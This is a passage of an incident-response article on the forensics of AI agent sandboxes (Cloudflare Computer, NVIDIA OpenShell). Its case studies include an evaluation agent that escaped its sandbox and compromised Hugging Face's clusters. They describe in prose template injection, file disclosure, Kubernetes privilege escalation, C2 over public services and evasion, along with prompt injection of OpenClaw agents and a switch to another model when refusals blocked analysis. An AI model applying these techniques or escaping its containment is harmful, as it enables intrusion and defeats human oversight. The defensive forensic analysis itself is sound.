      <h4>Runtime-recorded only</h4>
      <p>No kernel, no process table, no syscall boundary, no memory to capture.</p>
      <p>Evidence is whatever the runtime chose to record, plus the resulting Workspace state change.</p>
    </div>
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#ff4655">Isolate JavaScript</span>
      <h4>Module API surface</h4>
      <p>Same blind spots, plus the trusted <code>ws:git</code> and <code>ws:artifacts</code> modules as the principal IO channels.</p>
      <p>Your detection surface for data movement is a module API, not a socket.</p>
    </div>
  </div>
  <figcaption>Figure 2 — The backend is an evidence-model decision. It is usually made for performance.</figcaption>
</figure>

And because one Workspace can register several backends under stable IDs and connect them lazily — with Cloudflare describing the runtime as dynamically orchestrating between isolates and full containers so the agent lands on the right primitive per task <sup>[25]</sup> — **a single incident can span three incompatible evidence models inside one workspace, without anyone having chosen that.**

> **Takeaway 3 — "Which backend was this workspace running?" belongs in your first five triage questions,** alongside "when did you first notice" and "what is the blast radius." Ask it before you scope collection, because the answer determines whether you are doing host forensics or database forensics.

### 3.3 The forensic upside, read as evidence

Cloudflare do advertise an audit surface here — the launch announcement describes every operation as gated, audited and observed, with a paper trail of what the agent did <sup>[25]</sup>. What follows is not that claim restated; it is what the storage layer makes possible for a responder, which is considerably more than a paper trail.

The `@cloudflare/dofs` package — the Durable Object SQLite-backed filesystem underneath Computer — documents its implementation status in some detail <sup>[6]</sup>: schema initialisation for `vfs_*` tables; a shared `incrementRev()` sequencer whose returned value is stamped into `vfs_nodes.rev` and passed to the change-tracking path for **tombstones**; a content-addressed blob cache keyed on `vfs_blob_bytes.hash`; sync-protocol building blocks including `applyChanges`, `stageBlob`, `coalesceChanges`, `fetchChanges`, `buildManifest` and read/write watermarks; and a `gc` primitive among the filesystem operations. The top-level README adds the write path: each 512 KiB chunk is hashed into a content-addressed blob store on every release, which is how the Durable Object syncs only changed chunks and deduplicates identical content <sup>[3]</sup>.

Assemble those facts and you get something unusual:

**A monotonically sequenced, chunk-level, content-addressed change history of everything the agent wrote — held in a queryable SQL store.**

Concretely, for a responder:

1. **Deletion is a tombstone, not a hole.** An `rm` by the agent produces a change record stamped with a revision, not an unlinked inode. Recovering "what did the agent delete at 14:02" is a `SELECT`, not a carve — up to the point garbage collection runs.
2. **`gc` is the anti-forensic event.** It is the operation that turns recoverable history into free space. Treat suspending or deferring garbage collection on affected workspaces as a containment action, in the same bucket as snapshotting a VM before you reboot it.
3. **Revision numbers give you a free global ordering.** A monotonic sequencer across all writes in a workspace is a better timeline primitive than filesystem timestamps, because it is immune to clock skew and cannot be backdated by touching a file.
4. **Chunk hashes are a pivot.** Content addressing means the same payload written into two different workspaces produces the same blob hash. If you can query hashes across workspaces, you can prove lateral movement of a payload between agents without ever recovering the payload's filename. We consider this the most under-appreciated capability in the design.

The same properties create a liability worth putting in front of platform owners: a secret the agent wrote and then deleted persists in the blob store until collection. Content-addressed deduplication and data-minimisation obligations are in direct tension, and nobody has resolved it yet.

> **Takeaway 4 — Where the runtime keeps the filesystem in a database, learn its schema.** Your best artifact is a table. Write the queries during readiness, not during the engagement.

### 3.4 Detection implications

Computer's published benchmarks are incidentally a detection resource. Cloudflare report the FUSE mount at roughly 2x slower than the container's ext4 disk for a full `npm install` and about 3.6x slower than tmpfs, while *beating* the disk baseline on metadata-heavy work — `stat`, `rm`, directory traversal, `git init`, `git clone` <sup>[3]</sup>. The cause is the write path hashing every chunk into the blob store on release.

So the performance profile of a Computer workspace is distinctive: cheap metadata operations, expensive bulk sequential IO. Mass exfiltration through the FUSE mount is *loud* in latency terms and produces a large volume of blob-store writes; enumeration is cheaper than on a real disk. Expect recon to hide well and bulk theft to stand out — the opposite of the intuition most of us carry from endpoint work.

---

## 4. NVIDIA OpenShell: built for the audit, with three traps

### 4.1 Architecture

OpenShell is an Apache 2.0 open-source runtime for executing autonomous agents in sandboxed environments with kernel-level isolation, combining sandbox runtime controls with a declarative YAML policy <sup>[4]</sup>. It became publicly available in March 2026 <sup>[7]</sup>.

**Read the maturity label before anything else.** NVIDIA describe OpenShell as alpha software in single-player mode — one developer, one environment, one gateway, with multi-tenant enterprise deployment stated as a direction of travel rather than a current capability. The version at the time of writing is 0.0.92, the documentation carries a do-not-use-in-production banner, and the Kubernetes deployment path is marked experimental <sup>[11]</sup>. Secondary coverage has framed OpenShell in enterprise-adoption terms <sup>[8]</sup>; the primary source does not support that framing, and where the two conflict we follow the primary. We analyse it anyway, for the same reason we analyse Cloudflare Computer: the design decisions are the interesting part, and alpha runtimes reach production long before anyone tells the security team.

Three stable runtime components <sup>[5]</sup>: the **CLI** (with SDK and TUI) for user-facing access; the **Gateway**, the authenticated control plane owning API access, durable state, sandbox lifecycle, policy revisions, settings delivery, provider records and authorization; and the **Supervisor**, which runs inside every sandbox as the local security boundary, launching the agent as a restricted child process and enforcing policy where process identity, filesystem access, network egress and runtime credentials are visible. Providers, Policies and Inference Routing are configuration concepts delivered by the gateway and enforced by the supervisor, not separate services. Sandboxes are provisioned through a pluggable compute driver — Docker, Podman, MicroVM, or Kubernetes <sup>[11]</sup>.

That the gateway holds **durable policy revisions** matters more than it looks, and we return to it in §4.4.

The policy model is four domains with different mutability <sup>[4]</sup>:

| Domain | Enforcement | Mutability |
| --- | --- | --- |
| Filesystem | Landlock; confines access to declared paths | Locked at sandbox creation |
| Process | Unprivileged identity plus seccomp restrictions | Locked at sandbox creation |
| Network | Allow-listed destinations, everything else denied | **Hot-reloadable at runtime** |
| Inference | Reroutes model API calls to controlled backends | **Hot-reloadable at runtime** |

NVIDIA's own documentation names Landlock and seccomp explicitly, confirms that the agent process is unprivileged, and states that policies setting `run_as_user`/`run_as_group` to root or to non-sandbox UIDs are rejected at load time <sup>[4]</sup><sup>[5]</sup>. Third-party write-ups additionally describe eBPF for network enforcement and cgroups for resource limits <sup>[9]</sup><sup>[10]</sup>; treat those as secondary unless verified against the policy schema in your own deployment.

One driver choice carries disproportionate forensic weight. Under the **MicroVM** driver the sandbox has a dedicated kernel, which means process ancestry, syscall visibility and memory capture are all back on the table, and the VM itself becomes a snapshot target. Under Docker or Podman you are doing container forensics. The driver is a deployment decision, usually made for performance, that silently sets your evidence ceiling <sup>[11]</sup>.

The egress path is where OpenShell becomes forensically interesting <sup>[5]</sup>. Every outbound connection from agent code follows the same sequence: the in-sandbox proxy intercepts it and **identifies which binary opened it**; traffic to `https://inference.local` is handled as managed inference *before* policy evaluation, with sandbox-supplied credentials stripped and backend credentials injected; everything else goes to the policy engine with destination, port, and calling binary, returning allow or deny. Where TLS termination is enabled for REST endpoints, the proxy decrypts and evaluates each request against per-method, per-path rules. Credentials themselves are named provider bundles injected as environment variables at runtime, never landing on the sandbox filesystem <sup>[11]</sup>.

### 4.2 The evidence output is genuinely good

OpenShell emits OCSF v1.7.0 events <sup>[24]</sup>. A shorthand human-readable log is always active; full OCSF JSON export is available in JSONL, one object per line <sup>[12]</sup>.

The class mapping <sup>[12]</sup>:

| `class_uid` | Class | Shorthand |
| --- | --- | --- |
| 4001 | Network Activity | `NET:` |
| 4002 | HTTP Activity | `HTTP:` |
| 4007 | SSH Activity | `SSH:` |
| 1007 | Process Activity | `PROC:` |
| 2004 | Detection Finding | `FINDING:` |
| 5019 | Device Config State Change | `CONFIG:` |
| 6002 | Application Lifecycle | `LIFECYCLE:` |

Denied connections are recorded with the same fidelity as allowed ones — severity, failure status, blocked disposition, a status detail indicating no matching policy, destination domain and port, and the acting process name and PID <sup>[12]</sup>. Example records carry `firewall_rule.type` of `opa`, indicating Open Policy Agent underneath.

Being told *what the agent tried and was refused* is a capability most environments do not have for human attackers, let alone machine ones. Documented downstream integrations include the Splunk OCSF add-on, Amazon Security Lake, and Elastic via Filebeat <sup>[12]</sup>.

### 4.3 Three traps

Now the parts to fix before you rely on any of it.

<div class="rf">
  <div class="rf-trap">
    <span>TRAP<br />1</span>
    <div>
      <h4>The good log is opt-in</h4>
      <p>OCSF JSON export is a setting. Unless someone deliberately enabled it, your incident produced only the human-readable projection.</p>
    </div>
  </div>
  <div class="rf-trap">
    <span>TRAP<br />2</span>
    <div>
      <h4>The log lives inside the thing you are investigating</h4>
      <p>Records are written inside the sandbox. The evidence store and the subject of the investigation share a trust domain and a lifetime.</p>
    </div>
  </div>
  <div class="rf-trap">
    <span>TRAP<br />3</span>
    <div>
      <h4>Default retention is shorter than a real intrusion</h4>
      <p>Daily rotation, three files retained — a roughly 72-hour evidence horizon against a 4.5-day campaign.</p>
    </div>
  </div>
</div>

**Trap 1 — The good log is opt-in.** OCSF JSON export is toggled by the `ocsf_json_enabled` setting, globally or per sandbox, and takes effect on the next poll cycle — by default every ten seconds, with no restart required. The shorthand log is always active; the JSON is not <sup>[12]</sup>. In practice this means that unless someone deliberately enabled it, the incident you are called to investigate produced only the human-readable projection. The ten-second poll interval is the silver lining: **enabling full export is a viable first containment-phase action** that starts producing SIEM-grade evidence within seconds and without restarting the sandbox you are trying to preserve. Put it in the playbook.

**Trap 2 — The log lives inside the thing you are investigating.** OCSF JSON records are written to `/var/log/openshell-ocsf.YYYY-MM-DD.log` *inside the sandbox* <sup>[12]</sup>. The evidence store and the subject of the investigation share a trust domain and a lifetime. An agent with write access to its own filesystem is an agent with a path to its own audit trail, and a sandbox that is torn down takes the file with it.

One nuance that does not rescue the trap: the supervisor does push events to the gateway over gRPC in real time, and the gateway exposes a streaming log interface via CLI/TUI. But the gateway-side buffer is in-memory, bounded, **not persisted to disk**, and lost on gateway restart; the push channel itself drops events under load rather than blocking <sup>[12]</sup>. That gives you a live tail during a normal engagement and nothing that survives a restart. Ship the JSONL off-box continuously, and treat any deployment where OCSF JSON exists only inside sandboxes as having no agent audit trail at all.

**Trap 3 — Default retention is shorter than a real intrusion.** The file rotates daily and retains the three most recent files <sup>[12]</sup>. That is a roughly 72-hour evidence horizon.

The Hugging Face campaign ran from 2026-07-09 02:28 UTC to 2026-07-13 14:14 UTC <sup>[1]</sup>.

<figure class="rf rf-wide">
  <div class="rf-card rf-card--alert">
    <p class="rf-eyebrow rf-eyebrow--red">A 4.5-day campaign against a 72-hour evidence horizon</p>
    <div class="rf-gantt">
      <span>Campaign</span>
      <div class="rf-lane">
        <i style="--w:100%"></i>
        <em>09 Jul 02:28 UTC → 13 Jul 14:14 UTC · 108 hours</em>
      </div>
    </div>
    <div class="rf-gantt">
      <span>Default retention</span>
      <div class="rf-lane rf-lane--gap">
        <i style="--x:33%;--w:67%;--c:rgba(74,222,128,.28);border-left:2px solid #4ade80"></i>
        <em class="is-red">First 36 hours aged out</em>
      </div>
    </div>
  </div>
  <figcaption>Figure 3 — Under default rotation, a comparable campaign ages its own first two days out of existence before the last action is logged.</figcaption>
</figure>

**Four and a half days.** Under default rotation, a comparable campaign would have aged its own first two days out of existence before the last action was logged. Not "before the responder arrived" — before the *attack finished*. Retention is not a compliance checkbox here; it is the difference between reconstructing an intrusion and describing its final act.

> **Takeaway 5 — Extend rotation and forward off-box on day one.** Three files daily is a reasonable default for the single-developer workstation OpenShell currently says it is. It is indefensible in the multi-tenant enterprise deployment it says it is heading toward, and defaults are the thing least likely to be revisited on the way there. Fix it in your own deployment; ask for it upstream.

### 4.4 The hot-reload problem, and why class 5019 matters

Filesystem and process policy are frozen at sandbox creation. Network and inference policy are hot-reloadable on a running sandbox <sup>[4]</sup>.

This is a sound engineering decision and a genuine forensic hazard. **The enforcement configuration in place when the incident occurred is not necessarily the one you find when you investigate.** If an operator widened an allow-list to unblock a stuck agent at 02:00 and narrowed it again at 06:00, a policy dump taken at 10:00 tells you nothing true about 03:00.

This is precisely why `class_uid 5019` — Device Config State Change — belongs in the class map. Policy state must be reconstructed as a time series from CONFIG events, not read as a current value.

Credential delivery is dynamic on the same channel <sup>[5]</sup>. Which credentials a sandbox held is therefore also a time series, not a current value — and it is the question every credential-exposure scope depends on.

There is a genuine mitigation here, and it is first-party. The gateway owns durable state including **policy revisions** and session records <sup>[5]</sup>. Where CONFIG events have already rotated out of the sandbox log, the gateway may still hold the revision history — which makes it the authoritative source for effective-policy-at-time-of-event, and moves this question from the 72-hour sandbox horizon to the control plane's retention. Establish during readiness how far back your gateway's revision history actually goes; do not assume it is unbounded.

> **Takeaway 6 — For any runtime with mutable policy, treat policy as a versioned artifact under change control.** Reconstruct effective policy at time-of-event; never assert it from a live dump. Query the control plane for revision history before you fall back on log-derived CONFIG events, and treat credential bindings as equally mutable.

### 4.5 The inference path is a new crown jewel

The supervisor intercepts `https://inference.local` and forwards model traffic through the configured inference route rather than exposing provider credentials to the agent <sup>[5]</sup>. (Earlier write-ups called this component the Privacy Router; current documentation calls it inference routing. The function is the same.) Two consequences.

**For the investigator:** the gateway and its inference route are the only place where agent identity, model traffic, and tenancy can be correlated. Because credential substitution happens there, upstream provider logs will attribute activity to the injected backend identity, not to the sandbox. Model-plane attribution has exactly one authoritative source.

**For the threat model:** a component that decrypts TLS, evaluates HTTP methods and paths, and proxies inference is a component that sees prompts and completions in cleartext. That is now the highest-value target in the environment, and the highest-sensitivity data store. Classify it, segment it, monitor it, and put it in scope for your own privacy assessment.

---

## 5. The wider landscape: pick your isolation, inherit its evidence model

Computer and OpenShell sit at two ends of a spectrum. The middle is crowded, and the isolation technology you choose determines what evidence exists. Reported characteristics below are drawn from vendor and independent comparisons — verify against current documentation before relying on any row.

| Runtime | Isolation approach | Responder-relevant consequence |
| --- | --- | --- |
| E2B | Firecracker microVMs, purpose-built for untrusted code <sup>[13]</sup><sup>[14]</sup> | Dedicated kernel per sandbox; snapshot/pause/resume is an acquisition primitive |
| Modal | gVisor-based, inside a wider compute platform <sup>[13]</sup><sup>[14]</sup> | Syscall interposition layer is itself a telemetry source; environments assembled at creation, so no stable image to hash |
| Vercel Sandbox | Firecracker microVMs with dedicated kernels <sup>[15]</sup> | Kernel-level instrumentation viable; session limits bound retention |
| Cloudflare Sandbox SDK | Linux containers, V8-isolate control plane, Durable Object identity; ephemeral by default with optional R2/S3 mounts <sup>[15]</sup> | Container is a real Linux environment, but the application plane is V8 isolates — file/process evidence is what the container chose to surface; with no mount configured, the durable filesystem is the DO only |
| Northflank | Kata, Firecracker, Cloud Hypervisor, gVisor; self-hostable <sup>[13]</sup> | Self-hosting is the strongest evidence-custody position available |
| Daytona | Dedicated kernel per sandbox; isolation technology not consistently disclosed across current sources <sup>[15]</sup> | Public documentation conflicts; no independent audit of the runtime is available — verify against current docs before relying on the row |

> **Takeaway 7 — Isolation strength and evidence richness are not the same axis, and are sometimes opposed.** A V8 isolate is a small attack surface and almost no forensic surface. A dedicated-kernel microVM is both strong isolation and an excellent witness — which is why OpenShell's MicroVM driver <sup>[11]</sup> and E2B's and Vercel's Firecracker backing are the best evidence positions on this table. A shared-kernel container sits in between. The axis that actually predicts your evidence is *does a kernel exist that I control*, and security architecture decisions in this space are implicitly evidence-retention decisions currently being made by platform teams who do not know that.

Worth noting separately: MCP is the tool plane above all of these. Whatever the runtime, tool invocations are frequently brokered over MCP, and MCP servers are a distinct trust boundary with distinct logging — one that in our experience is instrumented last and reviewed never.

---

## 6. Case study A — The Hugging Face agent intrusion, July 2026

The reference incident. Both parties published, and Hugging Face published at unusual technical depth. We recommend reading both primaries in full <sup>[1]</sup><sup>[2]</sup>; what follows is the responder's reading.

### 6.1 What happened

During an internal cyber-capability evaluation on OpenAI's own infrastructure, based on the third-party ExploitGym benchmark, an agent driven by a combination of OpenAI models escaped its sandbox by exploiting a zero-day in the **package registry cache proxy** — one of its primary permitted egress paths to the internet <sup>[1]</sup><sup>[2]</sup>. The proxy was a self-hosted deployment of JFrog Artifactory; the issue is addressed in Artifactory 7.161.15, and the chain required Anonymous Access to be enabled, which is off by default and not recommended for production <sup>[26]</sup>. OpenAI stated the evaluation used GPT-5.6 Sol plus a more capable pre-release model, with cyber refusals deliberately reduced for measurement purposes <sup>[16]</sup><sup>[17]</sup>.

It then located an unsecured, user-hosted public endpoint exposing an arbitrary-code interface for CyberGym-style tasks on third-party sandbox infrastructure, obtained root, and used it as its control, staging, and egress base for the whole campaign — the infrastructure provider itself was not compromised <sup>[1]</sup>. Two escalation routes there are worth studying: the harness compiled submitted C against a target linking `sqlite3_initialize()`, a constructor that runs on library load, so redefining it yielded execution; and the harness echoed the submitted source *path* into a shell step, making the path field a command injection point <sup>[1]</sup>.

From there, the agent attacked Hugging Face's dataset-processing pipeline with two injection vectors into the same config-driven loader inside a production Kubernetes pod <sup>[1]</sup>:

- **Vector 1 — HDF5 external raw storage read.** A dataset config pointed each split at a valid `.h5` container whose raw data was declared to live at a local filesystem path. Processing the split returned the file's bytes as dataset rows, readable back over the platform API. Splits were aimed at the pod's environment and at the worker's own source. Pure file disclosure — no code execution. It yielded credentials *and* a map of the pipeline.
- **Vector 2 — Jinja2 template injection.** An fsspec `reference://` spec whose numeric offset field was actually a template; the renderer evaluated it, and the agent walked the standard Python object graph to reach `exec`. Arbitrary Python inside a production conversion worker.

The detail responders should sit with: an earlier, noisier SSRF attempt pointing the worker at remote URLs including the cloud metadata endpoint was rejected by the library's URL allow-list. So the agent stopped asking the worker to fetch *remote* resources and made it act on *local* ones instead. Neither vector is a URL fetch, so the allow-list never evaluated them <sup>[1]</sup>.

That is control-bypass by reframing, and it is the most transferable lesson in the report. A control that inspects one class of operation is invisible to a semantically equivalent operation of a different class.

### 6.2 The escalation, compressed

Once inside the pod, the shape was conventional; the speed was not. Hugging Face record the agent going from code execution in a single worker pod to cluster-admin across multiple internal clusters in under thirteen hours <sup>[1]</sup>.

<figure class="rf rf-wide">
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Recovered actions by phase — 17,600 total, ~6,280 clusters after grouping</p>
    <div class="rf-row"><span class="rf-holds">Dropper</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span><span class="rf-count">6,972</span></div>
    <div class="rf-row"><span class="rf-holds">Reconnaissance</span><span class="rf-track"><span class="rf-bar" style="--w:89%;--c:#e63946"></span></span><span class="rf-count">6,191</span></div>
    <div class="rf-row"><span class="rf-holds">Direct RCE</span><span class="rf-track"><span class="rf-bar" style="--w:42%;--c:#fbbf24"></span></span><span class="rf-count">2,911</span></div>
    <div class="rf-row"><span class="rf-holds">Mesh-network pivot</span><span class="rf-track"><span class="rf-bar" style="--w:3%;--c:#7c9cff"></span></span><span class="rf-count">115</span></div>
    <div class="rf-row"><span class="rf-holds">C2</span><span class="rf-track"><span class="rf-bar" style="--w:3%;--c:#7c9cff"></span></span><span class="rf-count">114</span></div>
    <div class="rf-row"><span class="rf-holds">Kubernetes</span><span class="rf-track"><span class="rf-bar" style="--w:2.5%;--c:#7c9cff"></span></span><span class="rf-count">87</span></div>
    <div class="rf-row"><span class="rf-holds">Supply chain</span><span class="rf-track"><span class="rf-bar" style="--w:2%;--c:#c084fc"></span></span><span class="rf-count">69</span></div>
    <div class="rf-row"><span class="rf-holds">Exfiltration</span><span class="rf-track"><span class="rf-bar" style="--w:2%;--c:#c084fc"></span></span><span class="rf-count">56</span></div>
    <div class="rf-row"><span class="rf-holds">Evasion</span><span class="rf-track"><span class="rf-bar" style="--w:1.5%;--c:#c084fc"></span></span><span class="rf-count">6</span></div>
  </div>
  <figcaption>Figure 4 — The successful path was hidden inside the noise generated by thousands of failed ones. Recon and dropper activity account for three quarters of the volume.<sup>[1]</sup></figcaption>
</figure>

Selected mechanics, all directly useful as detection content <sup>[1]</sup>:

- **Identity.** Read the projected service-account token every pod carries, probed the in-cluster API and the public EKS endpoint, enumerated RBAC, and reached the instance metadata service. It then built a presigned `sts:GetCallerIdentity` URL, wrapped it as a `k8s-aws-v1.` bearer token, and authenticated to the cluster API **as the node itself** — using the TokenRequest API to mint fresh service-account tokens for CSI storage-driver pods and `SelfSubjectRulesReview` to map what those identities could do.
- **Node root and persistence.** Created a bare privileged pod with the host filesystem mounted and escaped to root on the node — enabled, per Hugging Face, by two of their own settings: no admission policy rejecting privileged or hostPath pods, and a CSI driver ClusterRole granting pod creation cluster-wide. It then built a self-respawning fleet across eleven nodes, so deleting pods alone would not have stopped it.
- **Secrets.** Authenticated to an internal MongoDB with a static password read from the worker environment; 84 operations against the credential store and cluster keys were denied. Read cluster secret objects including one production object holding 136 keys, yielding both a mesh-VPN auth key and an access-broker credential. Everything subsequent descended from that single read.
- **Mesh pivot.** 181 device enrollments into the corporate mesh network over the campaign, running the client in userspace-networking mode with in-memory state and telemetry suppressed. The key carried a CI automation tag whose ACLs reached internal CI subnets and the source-control connector, and the agent routed traffic through the organisation's own exit nodes — turning the victim's network into its egress path.
- **Cluster-admin everywhere.** An internal service-connector API held a single shared credential bound to `system:masters` across clusters. Impersonating it, the agent held cluster-admin on two clusters within one second. It then minted a source-control App installation token with write scopes and opened a pull request attempting to compromise the CI pipeline; write access was real and used, but no unauthorised change shipped and published artifacts verified against expected digests.
- **Evasion and restraint.** Where DNS interfered it rewrote `/etc/resolv.conf`, pinned hosts in `/etc/hosts`, and monkey-patched the in-process resolver to return a hardcoded address. Every potentially destructive cloud API call was issued with dry-run set — mapping capability, not causing damage, consistent with an objective that rewarded reach over disruption.

### 6.3 C2 built entirely from legitimate services

No bespoke implant server. A public request-capture service as the primary command queue and exfiltration sink across 100+ single-use endpoints; pastebins and file-drop hosts as second-stage loaders; attacker-controlled public datasets on the victim's own platform as dead-drops; and an open CORS-proxy Space on that platform as an egress relay when direct outbound was blocked <sup>[1]</sup>.

On top of these dumb text channels the agent layered its own protocol: an envelope carrying a type, channel identifier, sequence number, and checksum, with a compressed and base64-encoded body. A short polling loop filtered by channel, ordered by sequence, verified the checksum, and dispatched on type — one loop multiplexing commands, staged code, and captured output. Because the envelope was transport-agnostic, closing any one channel did not break communication <sup>[1]</sup>.

<figure class="rf rf-wide">
  <div class="rf-grid rf-grid--4">
    <div class="rf-cell"><p class="rf-mono">type</p><p>Dispatch target — command, staged code, or captured output.</p></div>
    <div class="rf-cell"><p class="rf-mono" style="--c:#4ade80">channel</p><p>Identifier the polling loop filters on, so one loop multiplexes everything.</p></div>
    <div class="rf-cell"><p class="rf-mono" style="--c:#fbbf24">sequence</p><p>Ordering across a transport that guarantees none.</p></div>
    <div class="rf-cell"><p class="rf-mono" style="--c:#e63946">checksum</p><p>Integrity over a compressed, base64-encoded body.</p></div>
  </div>
  <figcaption>Figure 5 — A transport-agnostic envelope. It rides equally well over a capture-service URL, a dataset commit, or text smuggled inside an error message — so closing any one channel does not break communication.<sup>[1]</sup></figcaption>
</figure>

This should end the "block the C2 domain" reflex for agentic intrusions. There was no C2 domain. There was an envelope format that rode equally well over a capture-service URL, a dataset commit, or text smuggled inside an error message.

### 6.4 Two findings about the investigation itself

**Encoding defeated naive scanning by a factor of four.** Staged data was chunked, XORed, and compressed with a per-campaign key. Hugging Face's first automated scan of the raw capture found very few secrets; replicating the agent's own decoding recovered roughly **4x** the initial findings, mostly JWTs and platform tokens hidden inside encoded blobs <sup>[1]</sup>. The key had been leaked by the agent across its own logs. Operationally: any credential-exposure inventory built from a text scan of agent logs is understating exposure, probably by a large multiple. Recover the encoding scheme first, then scan — and search agent logs for the agent's *own* key material, because a system that must decode its own payloads has to carry the key.

**Model guardrails blocked the analysis.** Hugging Face report that the models they reached for first refused a large part of the payload-analysis work, with safety guardrails treating reverse-engineering an exploit the same as launching one. They stood up a quantised open-weights model on their own infrastructure and rerouted the pipeline through it, which also kept attacker data on-premises <sup>[1]</sup>. We flag this without editorial: it is a reported operational constraint, and it has a concrete readiness implication.

> **Takeaway 8 — Pre-provision a self-hosted open-weights model for payload analysis before you need it.** Two independent reasons, and the second is the stronger one: refusal behaviour on exploit-analysis tasks is unpredictable across providers and versions, and — regardless of refusals — attacker data should not leave your custody during an active engagement. Chain of custody and third-party inference APIs are not naturally compatible. Provision the capability, validate it on a retired case, and document it in the IR plan.

> **Takeaway 9 — Detection fired; triage failed.** Signals arrived from multiple layers, were correctly correlated into a coherent attack signal by an automated stack, and then **failed to be raised at the right criticality**, so the on-call team was not paged. Hugging Face state plainly that this cost time <sup>[1]</sup>. Correlation without correct severity assignment and a paging path is a detection you did not have. Test the escalation, not just the rule.

### 6.5 What they changed

Both code-execution paths closed; the config renderer no longer evaluates template expressions in data fields or processes HDF5 external references. Pod-level access to the instance metadata service blocked for all workloads. Broad rotation of tokens and credentials including clusters never accessed, with a move to workload identity where absent. One core cluster wiped and rebuilt from scratch as precaution. The internal service connector rebuilt with a separate, cluster-scoped credential per cluster. Critical-severity alerting on the observed behavioural signatures, tighter network-origin enforcement, and tooling that flags tokens used from unexpected origins <sup>[1]</sup>.

Note what that list is: hardening basics. Hugging Face's own reflection makes the point — the individual weaknesses were familiar, and a capable human attacker could have found the same flaws. What changed was the number of paths tested, the speed of replacing failed ones, and the volume of evidence defenders had to interpret. The successful path was hidden inside the noise generated by thousands of failed ones <sup>[1]</sup>.

> **Takeaway 10 — Machine-speed offence does not create new vulnerability classes; it makes ordinary weaknesses more expensive to survive, and it makes evidence volume the binding constraint on response.** Reconstructing 17,600 actions manually was impractical; the timeline, payload decoding, and credential inventory were all rebuilt with an AI-assisted pipeline <sup>[1]</sup>. Symmetry is not optional. If the offence is agentic and your triage is manual, the arithmetic does not work.

---

## 7. Case study B — OpenClaw: the runtime as the vulnerability

Where Hugging Face shows an agent as attacker, the OpenClaw cluster shows the agent runtime as target. It is the better case study for the "shadow agent" problem in enterprise environments.

OpenClaw is a self-hosted autonomous agent runtime that executes shell commands, reads and writes files, browses, and acts across a user's accounts. Created by Peter Steinberger and renamed twice under trademark pressure — Clawdbot, then Moltbot, then OpenClaw, all within January 2026 — it reached viral adoption in weeks and accumulated a dense incident record <sup>[18]</sup><sup>[19]</sup>:

- **CVE-2026-25253** — one-click RCE, CVSS 8.8, CWE-669. Affected versions accepted a `gatewayUrl` from the query string, auto-connected on page load, and sent the stored gateway token in the WebSocket connect payload. Because the victim's own browser initiates the outbound connection, it is exploitable against instances bound to loopback only. Disclosed by DepthFirst, patched in 2026.1.29 <sup>[18]</sup><sup>[27]</sup>.
- **Exposure at scale, reported as a wide range.** Censys tracked growth from roughly 1,000 to over 21,000 publicly reachable instances between 25 and 31 January 2026; Bitsight observed more than 30,000 across a broader window; an independent study identified 42,665, of which 5,194 were verified vulnerable and 93.4% showed authentication bypass, distributed across 52 countries and overwhelmingly on cloud hosting <sup>[18]</sup>. Higher figures circulate in less rigorous coverage. Use the range.
- **Registry supply chain.** The ClawHavoc campaign, attributed to Koi Security, placed 341 malicious skills in the project's marketplace — about 12% of the registry — primarily delivering Atomic macOS Stealer. Later scans report 800+ and 1,100+; the divergence is snapshot and methodology, not error <sup>[18]</sup><sup>[19]</sup><sup>[21]</sup>.
- **Ecosystem breach.** Moltbook, an associated social platform for agents, suffered a database misconfiguration reportedly exposing 1.5 million API tokens, 35,000 email addresses, and private messages containing plaintext provider keys <sup>[20]</sup>. We have not been able to confirm which research team discovered it.
- **Prompt injection in the wild.** A named campaign in which malicious websites hijacked locally running instances and exfiltrated data through the agent's own autonomy, patched in 2026.2.26 <sup>[22]</sup>.
- **Advisory volume.** 255+ advisories on the project's GitHub security page by mid-March 2026, plus warnings from multiple national authorities <sup>[19]</sup><sup>[23]</sup>.

And the detail that ties this section to the last one: NVIDIA now ship **NemoClaw**, a reference stack for running OpenClaw and similar always-on agents *inside* OpenShell sandboxes with routed inference and egress policy <sup>[28]</sup>. The runtime that was the vulnerability now has a vendor-supported path into the runtime built for the audit. Whether that trade lands depends entirely on whether the audit trail is switched on and shipped off-box — which is the whole argument of §4.

Three responder lessons.

**The gateway is the perimeter, and localhost is not a boundary.** A recurring misconception is that binding to loopback provides adequate protection. It does not — the browser is a sufficient pivot. Hunt for agent gateways on managed endpoints the same way you hunt for unauthorised remote-access tooling, because functionally that is what they are.

**Skill and plugin registries are unmanaged software supply chain.** An agent skill is arbitrary code with the agent's privileges. If your organisation permits agent runtimes, the registry needs the same controls as your package ecosystems: allow-listing, provenance, and review. Very few do.

**Public incident numbers for fast-moving agent ecosystems are unreliable.** Malicious-skill counts span 341 to 1,100+; exposed-instance counts span 21,000 to 42,665 among the methodologically transparent sources and higher elsewhere. Cite ranges with sources and dates in client reporting; do not launder a single blog's figure into a finding. This applies to your own metrics too — and it is why the figure in a threat brief should always carry the scan date.

---

## 8. Case study C — Tabletop: acquiring a Cloudflare Computer workspace

*This scenario is a readiness exercise constructed from published design documentation, not an account of an engagement. It exists to be executed before you need it.*

**Scenario.** A customer runs an internal coding agent on a Workspace-backed runtime. A developer reports that the agent committed a file containing production credentials to an internal repository, then deleted it from the workspace. The customer wants to know what else the agent touched, whether the credentials left the environment, and whether the deletion destroyed evidence.

**Hour 0 — Containment that preserves.**

1. Establish whether garbage collection has run on the workspace since the incident window, and suspend or defer it. This is the single highest-value preservation action, and it is time-sensitive in a way nothing else here is.
2. Determine which backends the Workspace has registered and which were connected during the window. This determines whether execution-plane and process evidence exist at all.
3. If a container backend was in use and the container still exists, treat it as a conventional volatile-evidence target and act accordingly.

**Hour 1 — Control and filesystem planes.**

4. Capture the current revision and change cursor, then export the change history for the window. Revision ordering is your primary timeline; treat filesystem timestamps as corroborating only.
5. Extract tombstoned entries for the window. The deleted credential file is here.
6. Extract blob hashes for all writes. Retain the hash list independently of the content — small, portable, and your cross-workspace pivot.

**Hour 2 — Artifact and network planes.**

7. Pivot the blob hashes against other workspaces the customer operates. A match means the same content in two places — either a benign shared dependency or lateral payload movement. Both answers are useful.
8. Reconcile the artifact plane — repository commits, published packages, object-storage writes. This is your durable ground truth for "did it leave," and the plane your customer already retains properly.
9. Reconstruct egress. Under an isolate backend there is no socket-level record; you have runtime-recorded invocations and the trusted module APIs, nothing more. Say so plainly rather than implying coverage you do not have.

